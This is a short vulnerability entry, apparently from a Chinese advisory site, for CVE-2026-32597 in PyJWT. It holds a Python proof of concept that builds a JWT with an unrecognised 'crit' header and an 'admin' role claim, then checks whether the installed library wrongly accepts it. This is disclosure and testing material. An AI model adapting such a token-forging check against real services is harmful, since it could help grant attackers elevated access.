CVE-2026-32597 PyJWT 拒绝验证Critical Header Parameter安全漏洞

import jwt import json # CVE-2026-32597 PoC - PyJWT Critical Header Parameter Bypass # This PoC demonstrates how PyJWT < 2.12.0 accepts JWS tokens with unknown crit extensions def create_malicious_token(): """ Create a malicious JWT token with an unknown critical extension. PyJWT < 2.12.0 will incorrectly accept this token instead of rejecting it. """ # Token header with crit array containing unknown extension header = { "alg": "HS256", "typ": "JWT", "crit": ["x-unknown-extension"], # Unknown extension that should cause rejection "x-unknown-extension": "malicious-value" } # Payload with elevated privileges payload = { "sub": "attacker", "role": "admin", "iat": 1516239022 } # Create token (this should be rejected but isn't in vulnerable versions) secret = "test-secret" token = jwt.encode(payload, secret, algorithm="HS256", headers=header) print(f"[+] Created malicious token: {token}") return token def verify_token_vulnerable(token): """ Attempt to verify the token using vulnerable PyJWT version. """ secret = "test-secret" try: # In vulnerable version, this will succeed even with unknown crit extension decoded = jwt.decode(token, secret, algorithms=["HS256"]) print(f"[!] Token accepted (VULNERABLE): {decoded}") return True except jwt.InvalidSignatureError: print("[-] Signature verification failed") return False except Exception as e: print(f"[-] Token rejected: {e}") return False def check_crit_validation(): """ Check if the installed PyJWT version properly validates crit parameter. """ print(f"PyJWT version: {jwt.__version__}") # Create token with unknown critical extension token = create_malicious_token() # Try to decode - should fail if properly implemented accepted = verify_token_vulnerable(token) if accepted: print("[!] System is VULNERABLE to CVE-2026-32597") else: print("[+] System is NOT vulnerable (crit parameter is properly validated)") if __name__ == "__main__": check_crit_validation()